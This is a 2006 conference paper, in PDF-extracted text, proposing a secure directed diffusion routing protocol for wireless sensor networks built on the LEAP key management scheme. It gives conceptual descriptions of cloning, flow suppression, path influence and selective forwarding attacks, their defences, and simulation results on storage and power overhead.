cheat-proof event ordering for peer-to-peer games”, 2004. Patric Kabus, Wesley W. Terpstra, Mariano Cilia, Alejandro P; “Addressing cheating in distributed MMOGs”, 2005. Abdennour El Rhalibi, Madjid Merabti; “Agents-based modeling for a peer-to-peer MMOG architecture”; 2005. Philippe Golle, Nicolas Ducheneaut, “Keeping Bots out of Online Games”, Palo Alto Research Center 3333 Coyote Hill Rd Palo Alto, CA 94304 USA. Captcha, http://www.mywiseowl.com/articles/Captcha. http://www.captcha.net/ Benny Pinkas, Tomas Sander, “Securing Passwords Against Dictionary Attacks” , CCS’02, November 18–22, 2002, Washington, DC, USA
182
Y. Lyhyaoui et al. / Problems of Security in Online Games
[40] Luis von Ahn, Manuel Blum, Nicholas J. Hopper, John Langford,”CAPTCHA: Using Hard AI Problems for Security” In Eurocrypt 2003. [41] Luis von Ahn, Manuel Blum and John Langford, “Telling Humans and Computers Apart Automatically: How Lazy Cryptographers do AI”. In Communications of the ACM, pp. 57-60, Feb. 2004. [42] Luis von Ahn, John Langford, “Telling Humans and Computers Apart (Automatically)”, 2002, CMU Tech Report.
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
183
Secure Directed Diffusion Routing Protocol for Sensor Networks using the LEAP Protocol 1
VijayRaman Kumar1, Johnson Thomas1 and Ajith Abraham2 Department of Computer Science, Oklahoma State University, USA 2 Department of Computing, Cheng-Ahn University, Korea
Abstract. Sensor networks are finding multiple applications and are being increasingly deployed in the real world. These sensors are fragile with limited computational and storage resources and communicate with each other and a base station through routing protocols. Routing protocols in sensor networks seek to minimize energy consumption and do not take security into consideration, leaving the network vulnerable to malicious outside attacks. Due to the resource limitations of sensors, the standard security protocols cannot be applied. A number of key management protocols for sensors have been proposed. However, these key management protocols do not consider the routing problem. In this paper we modify an existing key management protocol called LEAP and integrate it into the directed diffusion sensor routing protocol to produce a secure routing protocol for sensor networks. We show that the proposed protocol can protect the network from malicious outside attacks. Simulation results also show that there is a slight overhead in terms of energy expenditure for the proposed protocol. The other overhead is a slightly increased packet size. Keywords. Sensor routing protocol, key management, secure routing
1. Introduction Recent advances in miniaturization, low-cost and low-power design have led to the development of sensor networks that are formed by hundreds or thousands of these wireless unattended sensors and actuators [1]. Usage scenarios for these devices range from real-time tracking, to monitoring of environmental conditions, to ubiquitous computing environments, to in situ monitoring of the health of structures or equipment [2]. The sensors can be installed at pre-selected locations and data can be collected from specific location with the help of the neighbors. Wireless sensor networks are extremely constrained in terms of memory, processor, and power. [3]. The extreme constraints of these devices make it impractical to use legacy systems [3].
184
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
In a sensor network a node communicates with other nodes that lie within the transmittable range to accomplish the given tasks. Due to the constraints of sensors, the sensor network routing protocols are much simpler than any other network routing protocols. A number of routing protocols have been proposed for sensor networks [4] [5] [6] [7]. Directed Diffusion [5] is one of the energy efficient routing protocols that have been proposed. However, the security vulnerabilities of these sensor routing protocols has been largely ignored in the literature. The directed diffusion algorithm does not use any mechanism to protect the nodes from outsider attacks. In this paper we identify the types of attacks that are possible on the directed diffusion routing algorithm. We extend the directed diffusion routing algorithm by integrating a secure key management mechanism into the routing protocol. We show that the secure directed diffusion routing protocol can provide protection against these attacks and we also investigate the overheads associated with the proposed secure diffusion routing protocol. The work reported in this paper is based on the Berkeley’s MICA motes and the TinyOS sensor platform [8]. In the next section we review existing routing protocols for sensor networks. In section 3 we discuss the key management protocol that we integrate into the directed diffusion routing protocol. The attacks on directed diffusion and the proposed approach is presented in section 4. In section 5 we discuss the performance of the new protocol and analyze the security implications. Simulation results are presented in section 6 four or by conclusions.
2. Routing Protocols for Sensor Network A number of routing protocols for sensor networks have been proposed. The TinyOS beaconing protocol constructs a breadth first spanning tree rooted at a base station [1]. The Geographic and Energy Aware Routing (GEAR) routing protocol and the Greedy Perimeter Stateless Routing (GPSR) route packets based on the geographic location of the nodes. The GPSR uses greedy forwarding at each hop, forwarding to the neighbor closest to the destination. When holes are encountered where greedy forwarding is impossible, GPSR recovers by routing around the perimeter of the void [1]. In Minimum Cost Forwarding all the nodes in the network maintain a cost field. The cost field specifies the minimum cost required to reach the base station. To forward a packet to the base station, the node checks the cost field associated with a neighbor and chooses the minimum cost route. The cost field can store any metric like hop-count, energy, latency or loss. A number of clustering based protocols have been proposed. LEACH (Low-Energy Adaptive Clustering Hierarchy) leverages clustering to efficiently disseminate queries and gather sensor readings to and from all nodes in the network [1]. LEACH organizes the nodes into clusters with one node acting as a cluster head. The nodes within a cluster send the collected data to its cluster head and the cluster heads of the entire cluster communicate to aggregate the data. The aggregated data is then forwarded to the base station. In Rumor routing [4] the query from the base station is flooded in the entire network. The data events in response to the queries are shared by the nodes. The base station does not depend on a single link to receive the events. Another proposed protocol is directed diffusion [5]. We present this protocol in detail as this is the particular protocol that is the focus of our study.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
185
2.1. Directed Diffusion Directed diffusion consists of several elements: interests, data messages, gradients and reinforcements [5]. The base station floods the sensor network with a query about the interested events. The ‘interest‘ query specifies the sensing task. The data messages are the events generated by a single or a group of nodes in response to the query sent by the base station. The interest queries are disseminated throughout the sensor network as an interest for named data. This dissemination sets up the “gradients” within the network to draw events. A gradient is a direction state created in each node that receives an interest [5]. The node, which generates the events, sends the events back to the base station along multiple gradient paths. The directed diffusion algorithm assumes that each node knows its location once deployed. For example, a query for locating a vehicle will specify the area to be monitored, the interval at which the sensor should respond with events and the total duration of sensing (expireAt time). The sensor that detects the wheeled vehicle might respond with the type of vehicle detected, the location, the strength of the signal, confidence in the event or detection and a event time stamp. For each active task the base station broadcasts this message periodically. The initial message for setting up the gradients and fetching the data will have a much larger interval. Intuitively, this initial message is thought of as exploratory; the base station tries to determine if there indeed are some nodes in the specified region that sense the task specified. Each node in the network maintains an interest cache. The interest cache contains the information about the interest it received. Interest cache does not have information about the base station but the one-hop neighbor from which it received the interest. There are several fields in the interest cache. A time stamp field indicates the time stamp of the last event received. The interest cache also contains several gradient fields, up to one per neighbor. Each gradient contains the data rate field which contains the data rate requested by the corresponding neighbor, derived from the interval attribute. It also maintains a duration field derived from the time stamp and the expiresAt attributes. When a node receives an interest, it checks the interest cache to see if the interest already exists. If no matching entry exists in the interest cache, then the node creates one interest entry and stores the information about the interest. This entry has a single gradient towards the neighbor from which it received the interest. The node has to distinguish the neighbors in order to send the data at the requested rate. If the entry already exists then the time stamp and expiresAt field are updated. When a gradient expires, it is removed from its interest entry. After storing the information about the interest, a node will send the interest to all its neighbors. The gradient specifies the data rate and the direction in which to send events. In summary, interest propagation sets up state in the network to pull down the data events from the source node. The rules for interest propagation are application specific [5]. Due to the multi-path transmission of the interest, it is not possible for an adversary to prevent the interest information from reaching the nodes in the network [5]. The node which lies in the specified area, tasks its sensors to begin collecting samples. If the node finds the target then it will search its interest cache for a matching interest entry. If a matching interest is found then the node will look at the data rate parameter for all the
186
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
gradients and forward the data at the rate specified. It will initially be slower for all gradients. So, all the neighbors receive a copy of the event. The source node unicasts the events, to all the neighbors for which it has a gradient. If the data rates of downstream nodes are different, then the source node interpolates the messages it is sending to the high data rate neighbor. The interpolated message is send to the low data rate neighbor. The node which receives the events from the source, attempts to find a matching entry in its interest cache. If a match does not exist then the data message is dropped silently. If there exists a match, the received message is added to the data cache and the data message is sent to the node’s neighbors [5]. The data message will eventually reach the base station. The base station reinforces one particular neighbor, and that neighbor, reinforces one of its upstream neighbors. The reinforcement continues till the message reaches the source node. The reinforcement is nothing but the same interest message with an increase in the data rate. The higher data rate events allow high quality tracking [5]. Any node in the network can send a positive reinforcement to its upstream neighbor if that node consistently sends the unseen event to it. Source
Base station
Figure 1. Positive Reinforcement
A node on the data flow path can also be negatively reinforced if that node cannot consistently supply new events to the downstream nodes. An interest message, with the initial exploratory data rate is send to the node which needs to be negatively reinforced. Like positive reinforcement, the negative reinforcement message is also forwarded to the source node. The nodes receiving this message change their data rate of the neighbor. For example, let us consider from the following figure that the data flows in the path ACEG and the link AC is congested. Now node E will receive the data message from the node D (since the other link is congested). This prompts node E to negatively reinforce node C and positively reinforce node D.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
187
B
Source
A F D
C
G Base station
E
Figure 2. Alternate Path
3. Key Establishment End-to-end mechanism is used in the conventional network for message authenticity, integrity and confidentiality. But end-to-end security mechanism is not feasible in sensor network because the communication is mainly between the one-hop neighbors. Since the sensor nodes have limited computational power, it is also not possible to use a 128 bit encryption mechanism. In symmetric key algorithm only one key is used for both encryption and decryption. It requires a shared key between the nodes. TinySec [9], a security mechanism provided for sensor nodes in TinyOS environment uses the symmetric key algorithm. SPINS [10], another security protocol for sensor network also uses a symmetric key algorithm to provide message authentication, integrity and confidentiality. In this paper we propose the integration of LEAP [11], a security protocol for sensor networks, with directed diffusion. Unlike the above protocols, LEAP restricts the security impact of a node compromise to the immediate network neighborhood of the compromised node. Furthermore, in LEAP different types of messages exchanged between sensor nodes can have different security requirements. A single keying mechanism as in other protocols is not suitable for meeting these different security requirements. For example the announcement from the base station may have a different security requirement than a packet from a source node to the base. 3.1. Outline of LEAP Four different keys are used in each node to provide various level of security. Each node shares a pair-wise key with all its neighbors. This key is used for the secure communication
188
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
between a node and one of its neighbors. All the nodes in the sensor network share a common Global key with the base station. The base station uses this key to encrypt the interest message and all the nodes in the network uses this key to decrypt the announcements from the base station. The nodes store the interest information in their interest cache and then encrypt the message using the global key to further broadcast it. The communication cost is reduced by using this key. Each node also has a unique individual key. The individual key is used for secure communication between a node and the base station. The base station uses this key to verify the messages sent by this node and also for updating the global key of the node. LEACH also uses a cluster key. In this work, the cluster key is not used as in directed diffusion all the communications are between onehop neighbors. In this paper we discuss how security can be provided by using three keys. The LEAP protocol uses Pseudo-Random functions to derive the keys. The base station derives one master key K and this key is loaded into all the nodes in the network before deployment. Each node is also assigned a unique id and a global key before deployment. From a master key a node can derive other keys for various security purposes. For example, a node can derive K0 for encryption and use K1 for authentication [11]. The individual key Ku for a node u is generated from the master key. [11]. Since the communication in sensor network is always among the neighbors, the pairwise shared key is used more than any other key. LEAP assumes that the time required to establish all the keys in the network (Test) is less then the time required (Tmin) by the adversary to compromise one or more nodes. When a node u is deployed, it tries to discover its neighbors by broadcasting a HELLO message which contains its id and waits for each neighbor v to respond with an ACK message including the identity of node v. The ACK from every neighbor v is authenticated using the individual key Kv of node v, [11]. Node u computes its pair-wise key with v, Kuv. Kuv serves as the pair-wise key. No message is exchanged between u and v in this step. The global key can be established before the deployment of sensors. Since all the nodes are going to share the same key with the base station, the loading of this key is done before deployment.
4.
Proposed approach
We assume that the sensor network is static, i.e., sensor nodes are not mobile. The base station, acting as a controller (or key server), is assumed to have sufficient resources. We also assume that the base station is equipped with a powerful transmitter and it can send the message to any node in the network in one-hop. Every node has space for storing sufficient keys. Furthermore, we assume that the base station will not be compromised. We also assume that the sensor network is dense and there will be at least two neighbors (with enough power) for each node. The probability to break more than one pair-wise key of the same node is very minimal. An efficient security mechanism for supporting communications in directed diffusion is proposed. The security requirements not only include authentication and confidentiality but also robustness and survivability, that is, the sensor network should be robust against various security attacks, and if an attack succeeds, its impact should be minimized.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
189
With the introduction of the keying mechanism in directed diffusion, only the nodes which have the keys can send and receive packets in the network. The size of the keys used in LEAP is 8 bytes [11]. It has been proved that a laptop class adversary can crack the message which was encrypted using the symmetric key algorithm [12]. Furthermore, it is possible for an adversary to obtain the keys and launch the above attacks as an insider attack. Such attacks are very difficult to find. Hence, the use of symmetric key algorithm alone is not enough for providing security in sensor networks. Our scheme minimizes the effects of an attack. The incorporation of a modified version of LEAP into directed diffusion protects the network from outside attacks. The attacks are therefore primarily insider attacks. We assume the attacker has the global key for instance. 4.1. Cloning Attack If the goal of the adversary is to receive the data messages generated by the source node then the adversary has to announce that it a base station. In figure 3, the base station (C) encrypts the interest message using the global key and broadcasts. The attacker forges the interest message with itself listed as the base station using the global key. The adversary will also change the source id in the packet to its own id and transmit the message. The neighboring nodes forward this message in the network to set up gradients along the path. The adversary is also in a position to generate a pair-wise key shared between the nodes in the data flow path to decrypt the data message sent by the source node. Source node
F A G
B D C E
Figure 3. Cloning Attack
Base station
190
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
If each node in the network maintains the distance information of the base station, then the probability for this type of attack can be reduced. The distance of a node can be calculated using the signal strength of the message it transmitted. RSSI (Received Signal Strength Indicator) values localize the sensor network [13] [14]. Localization is a scheme by which all the nodes in the sensor network will learn about the location it is situated using one or more mobile nodes. RSSI is a signal that indicates the strength of the incoming (received) signal in a receiver. Using the signal strength, the distance of the node is found. Sensor nods such as the MICA mote already come with the hardware necessary to calculate the RSSI. The signal strength is directly proportional to the remaining battery power. We assume that the base station is equipped with long lasting power, so the signal strength never reduces. The nodes can find out the distance of the base station with reasonable accuracy. During the initial set-up time, the base station should broadcast the “Hello” packets powerful enough to reach all the nodes in the network. Each node receives this message and stores the RSSI value of the base station. Each node has to calculate the RSSI value of any future message received from the base station and compares it with the existing value. It becomes very difficult for a node to pose as the base. Due to noise, the nodes in the network should accept the packets from a base if the RSSI is within a MAX and MIN value. 4.2. Flow Suppression Flow suppression is denial of service attack. The easiest way to suppress a flow is to spoof negative reinforcements. The adversary simply sends the negative reinforcement to the node which is delivering data at a high rate. The adversary has to find out the unique id of the downstream node and the interest information to launch this attack. F Source
A attacker
G
B D C E
Figure 4. Negative Reinforcement
Base
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
191
In figure 4 the data flow path is ABC. If the path between A and B or B and C is congested for a time, then the paths ADE or AFG will provide the required data to the base station at a faster rate. If the nodes E or G supplies the new events consistently to the base station then the base station will positively reinforce E or G. After positively reinforcing one of E or G, the base station also negatively reinforces B. This will cause the node B to negatively reinforce the source (A) thereby suppressing the data flow. If the adversary breaks the pair-wise key shared between the nodes A and B then, it can simply send a negative reinforcement to node A posing as node B. Node B receives this information and changes the data rate value in the interest cache. This is a simple instance of denial of service attack. For negative reinforcement information to be valid and processed further, the node which received the negative reinforcement should also receive the information about negative reinforcement from at least one more neighbor. For example, if B sends a negative reinforcement to A and if it has to be valid, then the adversary has to compromise at least one other neighbor of B and obtain its pair-wise key. The attacker will be new node that is not recognized. LEAP allows new nodes to join the network only on the basis of a new master key [11].Since we have assumed that it will be difficult for the adversary to break more than one pair-wise shared key of a single neighbor, the negative reinforcement attack can be prevented. If node A did not get the confirmation of negative reinforcement from one other neighbor then it decides that the negative reinforcement information is not authentic and sends the information to the base station for key revocation. 4.3. Path Influence The adversary can attract all the traffic through itself by announcing the availability of more energy and/or the availability of a high quality link to reach the base station (by sending a powerful signal). All the nodes start sending the packets to this adversary. After receiving the packets, the adversary can choose to forward packets selectively or change the packet information and forward it. The adversary can also launch this attack by spoofing positive and negative reinforcement. Let us consider the node A as the source and node C as the base station from In figure 5 if the adversary breaks the pair-wise key shared by nodes E and B, it might try to attract all the nodes in the network by sending a fake announcement to B .The message can be regarding the availability of high quality path to base station and/or high remaining battery power. On receiving the information, B further forwards to all its neighbors. The nodes will forward everything to the attacker.
192
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
Source
A
B
attacker
E
C D
Base
Figure 5. Path Influence
LEAP assumes that the adversary takes Tmin time to break a pair-wise key of a node and it is larger than the time it takes for all the sensor nodes to establish the pair-wise keys. During this initial setup period each sensor node will construct a hash table with the node id as the unique key. The table will also contain transmission rate and RSSI value for all its neighbors. The hash table can be searched in O(1) time. The nodes store the data during the pair-wise key setup time. Each node appends its remaining battery power with every packet so that the neighbor nodes can construct the table. Note that because of our assumption that the adversary takes at least Tmin time to break one or more keys, the initial packets from the nodes will be authentic. If the adversary announces the availability of high quality link to a neighbor, the receiving node will find out by comparing the table value with the received signal strength value. The RSSI value is expected to decrease with the decrease in remaining battery power. By comparing the value of signal strength from a node and the value of RSSI exist in the table, a node can differentiate an authentic and fake message with a high probability. The node can then send the information to the base station for key revocation. The remaining power of each node is inversely proportional to the data rate. However, a neighboring node may be involved in multiple communications. The message from a node will therefore also include its total transmission rate. The node in the data flow path can therefore calculate the remaining battery power and determine whether the node is an attacker. Note that this calculation is necessary only when a neighbor sends an announcement regarding its battery power and transmission rate. However, knowing the battery power of the immediate neighbor alone is not enough. An adversary might try to send an announcement using other nodes id. For example, in figure 10 assume the adversary knows the pair-wise key between E and B. The attacker might send a message about its power availability to node B faking its identity as E. In the message content, the adversary might announce that node E received the information from node D, that is, node D is a desirable node to route packets through. The proposed
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
193
approach will not allow node B to determine whether the message received is a fake or authentic. If each node has the knowledge of the remaining battery power of all other nodes in the network, then the comparisons can be made for the farther nodes too. If nodes in the network share the information regarding the battery power and RSSI of their neighbors then this type of attack can be prevented. While forwarding the data message each node has to attach the remaining battery power value of all its neighbors in the packet. On receiving this message, each node stores the information. Note that no additional transmission and receiving is necessary in this case. The overhead is the increased packet size and the need for extra memory space in each node to store the information about two hop neighbor nodes information. 4.3.1. Calculation of Remaining Energy The ADC7 of the Mica mote gives the battery voltage [15]. For our simulation we used the two components provided by nesC language to calculate the remaining power, computeRates(..) and PowerMonQuery. Using the data sheets provided for the MICA mote, power required for all the operations can be calculated from [16]. 4.4. Selective Forwarding In selective forwarding the attacker, after receiving the data messages from the upstream neighbor does not forward all the messages. The adversary can modify the data message or inject its own data message to the downstream nodes. In the figure below, let us consider that the data flows from A to B to C. If an attacker breaks the pair-wise key shared between B and A, then the adversary can modify the data message and then send it to B. B further forwards the data message to the base station. F A Adversary
G
B D Base
C E Figure 6. Selective Forwarding
194
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
In figure 6 the dashed lines represent the low data rate paths. The data rate of path ABC (say 100 events /second) is different from the low data rate paths that receive data at 1 event/second. Let us assume that the adversary breaks the pair-wise shared key used between A and B. Now the adversary gets the access to the data messages from the source node. It can modify the data messages and send to B or selectively forward it to B. After receiving the modified packet the node B forwards the packet to the base station. Node B also sends the data messages to neighbors D, E, F, and G at the original data rate. The source node A also sends the data messages to its neighbors other than B (F and D). The data messages received from the source are stored in the data cache of each node. Node D will therefore have data messages from source A and node B in its data cache. By implementing a simple check mechanism to compare the two data messages, we can find out the selective forwarding attack. Note that the same comparison will be performed in all the neighbors of the node B. The data message comparison is application dependent. For example in a chemical leak monitoring application, the base station might spread interest information about the possible gas leak at specific location. The base station expects either “YES” or “NO” as the message from the source node. Positive reinforcement will take place on the paths with a ‘YES’ reply. The low data rate paths may receive the approximation of the 100 events, not the 100th event. If the adversary modifies the “YES” data message from the source to a “NO” and forwards it, then the nodes can find out the modification. Different techniques are used in other applications to find out whether the data is same or not. A confidence rate can be used for matching two events. The source node compares the stored wave form of an event with the sensed event and finds out the confidence value. In the data cache each node maintains the last seen event (data message) from the neighbor. A data comparison method can check the data message received from a node and the data message present in the data cache, allowing a node to determine if the data message is fake. The data comparison technique is application dependent. The basic idea is that there will be a relation between the two events of the same interest. 4.5. Node Inclusion and Exclusion 4.5.1. Node Addition If a new node is to be added in the network then it should be loaded with a new global key, the master key Ki and Kj(u) individual keys where j is 1< j <=m. The procedure for calculating the individual key of the node is as discussed above. The base station can calculate the individual keys from the master key. The base station unicasts a “Hello” packet. The added node receives this message and calculates the signal strength value for the base station and stores it (so that it can authenticate any future message from base station). The new node added in the network will broadcast its “Hello” packet with its id specified in the packet. The node which receives this packet replies by broadcasting “Hello” packets. Let us consider that the nodes u1 to uN are present in the network and node v is the new node. Now node v has to set up pair-wise key with all its neighbors’ u1 to uM where M <=n. Since the nodes u1 to uM already have the individual key of v, each can
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
195
calculate the pair-wise shared key with node v. The procedure is same as the initial pairwise key set-up of LEAP. The nodes u1 to uM add node v in their neighbor list. After addition, the added node needs to know the interest information to build the gradients in the network. This problem can be solved if the added node’s neighbors pass the interest information to the new node. This will cause the added node v to receive the data messages from its neighbors. Note that the node v also builds the table for storing the RSSI and the battery power remaining of its neighbors from the message it received from them while setting up the pair-wise keys. 4.5.2. Node Leaving If there is node failure in the network, directed diffusion uses negative reinforcement to truncate a path if a node does not respond within a specified amount of time. In our approach, each node will maintain the remaining battery power information of all its neighbors. When the battery power of a node reaches a threshold level, then the neighbors of the node removes the id of the node from their list. This will cause the base station to select another path to get the data from the source node. 4.5.2.1. Negative Reinforcement F
Source
A G
B D Base
C E
Figure 7. Negative Reinforcement
If link AB is congested, B will send a negative reinforcement to A and the negative reinforcement information to all its neighbors. Even if one or more nodes did not have enough power to forward the information to the source node, the availability of multiple paths ensures that at least one other neighbor gives the information to the source.
196
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
4.5.2.2. Selective Forwarding The availability of multiple nodes to check the data from the source node ensures that the nodes in the data flow path sends the original data received from the source node to the base station. 4.5.2.3. Path Influence and Cloning Attack Thus the solutions for these two attacks are not affected by the loss of one or more nodes.
5. Performance and Security Analysis 5.1. Storage Requirement In this section we determine the overheads in implementing the LEAP algorithm in directed diffusion routing. In our scheme, each node has to store an individual key, a group key and d pair-wise keys, where d is the number of one-hop neighbors. The number of bytes required depends on the density of the sensor networks. If transmission radius r of a node is r and assuming nodes are evenly distributed with a density d , the total number of keys a node has to store is dπr2+2. Each key is 8 bytes in length [1]. Thus the total bytes required for a node will be, 8dπr2+16 bytes. Although memory is a very scarce resource for the current generation of sensor nodes (4 KB SRAM in a Berkeley Mica Mote), for a reasonable degree d, storage is not an issue in our scheme. The nodes in the network need to store the RSSI value and the remaining battery value of all its one and two-hop neighbors. The RSSI and the remaining battery power take a byte each to store. So, the total bytes required for a node becomes, (d+2)*8 + (D + d)*2 bytes. Here D is the 2nd hop neighbor and d is the one-hop neighbor. Since there is no cluster key in our scheme, considerable amount of storage space in each node is saved when compared to LEAP (d per node. However, the introduction of multiple Master keys increases the storage requirement. Depending upon the number of node additions, the memory required to store the keys increases. 5.2. Computational Cost The pair-wise key and individual key set-up is done after the deployment. Each node has to calculate on average d pair-wise keys and one individual key. If there are N number of nodes in the sensor network then the number of key calculations will be N(dp +1), where the subscript p stands for the cost to calculate a pair-wise key. The number of encryptions and decryptions is an important factor in determining the efficiency of our scheme. The base station encrypts the interest message using the global key and broadcast the message. The nodes after receiving the interest message, decrypts and stores the interest in the interest cache. This is followed by encrypting the message using the global key and broadcasting further. Each node will broadcast the interest message and neighbors decrypt the message. If the number of nodes that get the interest message from the base is M and L is the average number of nodes reachable from other
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
197
nodes, the total number of encryptions and decryptions will be 1e + Mde + Md + Ld . A subscript e stands for the cost to encrypt and a subscript d stands for the cost to decrypt. Besides the pair-wise key and individual key, each node also has to calculate the individual key of all its neighbors for verification. Given that this cost is represented by the subscript i, the number of calculations is Ndi. The computation cost to establish the keys in the network will be less for our proposed version when we compare with LEAP. Nodes don’t have to calculate the cluster keys in our case. Our case requires some additional comparison for keeping the network secure. All the packets from the base station will be compared with the stored value of battery power remaining and RSSI value. This cost goes up when the number of interest messages go up. 5.3. Communication Cost Since the interests are broadcasted, each node has to transmit only once (15 mA [17], [16]). However, each node will receive the same interest from all of its neighbors (d*12 mA). The same applies for the data messages. Hence with the number of interests the communication cost increases. For I interests, the transmission and receiving cost for broadcasting will be I(Nt + dr). Here the subscript t is the cost for transmitting and r is the cost for receiving. For receiving and transmitting data messages, the communication cost will depend on the number of paths reinforced positively and the data rate requested by the downstream nodes. Let d be the number of neighbors of a node which is in the non data flow path and m the number of nodes in the non data flow path. Let D be the number of nodes involved in the data flow path (including the base). Let the maximum data rate imposed by the base station be mdr. The power required will be, ((D-2)*mdr*15 mA + (D-1)*mdr)*12 mA + mi *15 mA + md *12 mA The communication cost for sending and receiving queries or data message is same in our scheme as in directed diffusion. Only when a node wants to send a negative reinforcement, it has to multicast the information about sending the negative reinforcement to all other neighbors. However, a negative reinforcement message is not expected often in the network, so the overhead occurred by a few negative reinforcement can be compromised for increased security. 5.4. Packet Size The following is the packet used by the TinySec [9], the keying mechanism proposed for sensor networks. The packet format of TinyOS is also given for comparison purposes. For our purpose we will use the TinySec packet format with additional information like GPS coordinates and remaining battery power.
198
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
Table 1.TinyOS packet format
Dest (2)
AM (1)
Len (1)
Grp (1)
Data (0-29)
CRC (2)
Table 2. TinySec packet format
Dest (2)
AM (1)
Len (1)
Src (2)
Ctr (2)
Data (0-29)
MAC (4)
The nodes in our network have to include the remaining battery power. Hence the packet format will be: Table 3. Packet with power information
Dest (2)
AM (1)
Len (1)
Src (2)
Ctr (2)
Power (1)
Data (0-29)
MAC (4)
The TinyOS packet format in table 1 does not have the source node information; this leaves the entire network vulnerable to the outsider attack. Any node can inject a packet with little effort. To detect transmission errors, TinyOS senders compute a 16-bit cycle redundancy check (CRC) over the packet. The receiver recomputes the CRC during reception and verifies it with the received CRC field. If they are equal, the receiver accepts the packet and rejects it otherwise. However, this CRC does not provide any security from attacks. Since we have included the MAC field, CRC is not needed. Active message types are similar to port numbers in TCP/IP. The AM type specifies the appropriate handler function, to extract and interpret the message on the receiver. The TinyOS packet format contains a group field to prevent different sensor networks from interfering with each other. It can be thought of as a kind of weak access control mechanism for non-malicious environments. The Ctr field is used for specifying the packet numbers. Our implementation needs one byte more than the TinySec packet format. 5.5. Security Analysis Although our algorithm requires more memory and energy, it defends the sensor nodes against potential directed diffusion routing attacks. With the introduction of LEAP, the outsider attack has been completely eliminated. The LEAP algorithm prevents the sinkhole and wormhole attacks. The proposed solution will provide more security to the network even if some of the nodes in the network are compromised.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
199
6. Simulations A simulatios program in C++ code was written to simulate sensor networks of sizes 10, 30 and 50. The original directed diffusion algorithm does not use any keying mechanism therefore the memory required in each node is minimal. In our algorithm each node has to store one individual key, one group key and d number of pair-wise keys, where d is the is the number of neighbors of a node. The following graph was plotted for the storage requirement for the sensor network of size 10, 30 and 50. The nodes were placed at random location and the simulation was run for 30 times each for 10, 30 and 50 nodes. From figure 8, we can infer that the memory require to store the keys increases with the increase in the number of nodes. Each node also has to store the RSSI value and remaining battery power of one-hop and two-hop neighbors.
STORAGE REQUIREMENT
MEMORY IN BYTES
6000 5000 4000 3000 2000 1000 0 0
10
20
30
40
50
60
NUMBER OF NODES
Figure 8. Memory Requirements
In our proposed algorithm each node has to find and store the ids of all the neighbor nodes before communicating with them. The initial set-up of the sensor network is different in our algorithm than the setup in the original directed diffusion. In directed diffusion, in order to establish the pair-wise key with all its neighbors, each node has to send a “hello” packet. Our approach includes an extra communication overhead in the form of a “hello” packet sent by the base station to all the nodes in the network so that the nodes in the network can calculate and store the base station’s RSSI value. The following graph shows the communication overhead caused by our algorithm and the original communication cost of the directed diffusion algorithm.
200
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
COMMUNICATION COST
CURRENT CONSUMPTION IN mA
70000 DIRECTED DIFFUSSION
60000 50000
PROPOSED ALGORITHM
40000 30000
DD WITH NEGATIVE REINFORCEMENT
20000 10000 0 0
20
40
60
PROPOSED ALGORITHM – NEGATIVE REINFORCEMENT
NUMBER OF NODES Figure 9. Power Consumption
From figure 9 we can see that the difference between directed diffusion and our proposed algorithm increases with the increase in the network size. The above graph also shows the overhead caused by our proposed solution for the negative reinforcement. Even if there is an authentic negative reinforcement, there will be communication and computation overheads in our proposed algorithm. If a node sends a negative reinforcement to an upstream neighbor, then it has to send the negative reinforcement information to all its neighbors, which is not done in the directed diffusion algorithm. As we can see from the above graph, the increase in the network size and the density causes more transmission and reception in the network, in other words, the overhead increases with the network size. Our solutions to all the four type of attacks require some computational power. Our proposed solution to the selective forwarding algorithm causes more overhead, since all the packets forwarded in the high data flow path have to be compared by all other nodes. The solutions to other three types of attacks require the nodes to compare only when the need arises whereas in case of selective forwarding, the nodes have to compare all the time the interest is active. Besides the comparison overheads, the other computational energy required is for the encryption and decryption of the messages transmitted in the network. When the nodes in the high data flow path sends the data to the base station, the low data flow path nodes have to compare the data forwarded by the nodes in the high data flow nodes. The computation overhead for implementing selective forwarding depends upon the number of nodes in the low data flow path. The following graph shows that the power consumption increases with the number of nodes.
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
201
CURRENT CONSUMPTION IN mA
SELECTIVE FORWARDING OVERHEADS 700 600 500 400 300 200 100 0 10
0
20
30
40
50
60
NUMBER OF NODES
Figure 10. Selective forwarding overhead
When the base station or any node in the network sends a negative reinforcement, the upstream node which receives this negative reinforcement, processes only after comparing the same information from all its neighbors. The node which received the negative reinforcement information will forward the negative reinforcement to the upstream node only after receiving the negative reinforcement information from at least from two neighbors. The computation overhead caused by this type of attack is minimal and moreover this overhead occurs only when there is a negative reinforcement passed by some nodes in the network. The negative reinforcement is not a frequent occurence in a sensor network.
CURRENT CONSUMPTION IN mA
NEGATIVE REINFORCEMENT OVERHEADS 35 30 25 20 15 10 5 0
0
10
20
30
40
50
NUMBER OF NODES
Figure 11. Negative Reinforcement overhead
60
202
V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks
